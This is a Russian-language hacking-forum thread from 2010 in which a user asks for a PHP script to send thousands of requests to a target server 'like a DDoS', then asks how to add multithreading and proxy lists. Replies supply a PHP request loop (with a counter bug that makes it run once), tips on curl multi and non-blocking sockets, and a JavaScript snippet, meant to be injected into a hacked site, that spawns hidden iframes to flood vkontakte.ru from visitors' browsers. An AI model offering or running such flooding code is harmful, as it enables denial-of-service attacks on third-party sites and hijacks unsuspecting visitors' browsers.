PHP скрипт для массового запроса с сервера

Discussion in 'PHP' started by Wakko, 12 Feb 2010.

  1. Wakko

    Wakko New Member

    Joined:
    1 Jun 2009
    Messages:
    36
    Likes Received:
    2
    Reputations:
    0
    Привет ачатовцы, подскажите скрипт на php, в котором бы указать адрес сервера(сайта), и он бы делал 5000 запросов к этому серверу, что то вроде ддоса, но с нужным колличеством запросов.
     
  2. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    PHP:
    <?php
    $i 
    5000//кол-во запросов
    $url 'http://google.com'//сайт
    while($i <= 5000)
    {
    file_get_contents($url);
    $i++;
    }
    ?>
     
  3. ChieFSS

    ChieFSS Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    35
    Likes Received:
    2
    Reputations:
    0
    >> $i = 5000; //кол-во запросов
    >> while($i <= 5000)

    циферки врут ;)
     
  4. Wakko

    Wakko New Member

    Joined:
    1 Jun 2009
    Messages:
    36
    Likes Received:
    2
    Reputations:
    0
    А как его в многопоточный переделать с использованием прокси из списка?
     
  5. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    в РНР нет многопоточности.
     
  6. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    multicurl не в счет, да.

    Чуви, ты ипанулся на php ддос-бота писать?(
     
  7. vvy

    vvy New Member

    Joined:
    29 Mar 2009
    Messages:
    33
    Likes Received:
    3
    Reputations:
    4
    У curl-а есть настройки прокси и многопоточность (линейно загружаешь несколько страниц и ленейно получаешь ответы, но выполнятся они будут одновременно)
     
  8. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Мультикурл ето не многопоточность, это очень кривая реализация мультипоточности

    Вполне реально, правда геморойно.
     
  9. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    http-флудер , который повесит серв, с которого идет флуд :D
     
  10. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    О великий гуру, я просил тебя не лезть в вещи, в которых ты ноль!
    многопоточность = multithreading
    мультипоточность(и прочие варианты на олбанском) = multithreading с кривым переводом.
    Вопросы?

    А в curl потоки streams.
     
  11. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    Как раз этим занимался недавно. Помогли неблокирующие сокеты. Примера не будет, потер случайно.
     
  12. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Подробнее?
    Ну я выразился по своему, несовсем правильно поступил.
     
  13. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Поток данных. Термин совершенно не связан с threads(нити исполнения).

    Ты сказал, что multithreading не multithreading.
     
  14. suser

    suser Member

    Joined:
    30 Dec 2009
    Messages:
    35
    Likes Received:
    5
    Reputations:
    0
    Нех добрый php мучать и флудить тему. Ломайте сайт и суйте в главную скрипт. Прощяй вконтакре ру)

    PHP:
    <html>
    <
    head>
    <
    script type="text/javascript">
    <!--
    function 
    ddos(urltimes) {
    for(
    i=1;i<=times;i++) {
    document.body.innerHTML += '<br /><iframe src="'+url+'" width="0" height="0" scrolling="no" frameborder="0" style="display: none"></iframe>';
    }
    }
    //-->
    </script>
    </head>

    <body onload="ddos('http://vkontakte.ru', 50);">
    </body>
    </html>
     
  15. vvy

    vvy New Member

    Joined:
    29 Mar 2009
    Messages:
    33
    Likes Received:
    3
    Reputations:
    4
    У меня вопрос к ТС: а ты уверен, что тебе это на хостинге запустить дадут? Т.е. на многих виртуальных хостингах даже банальный proxy чекер на cron прикрывают. А на хостингах специально для спама обычно в контрольной панели есть нужные опции (сам правда не видел, но в тарифах так и пишут что-то вроде "настройка спама и ддоса за 15 минут"). А если собираешься запускать на локалхосте, то имхо, лучше посмотреть в сторону десктопных приложений.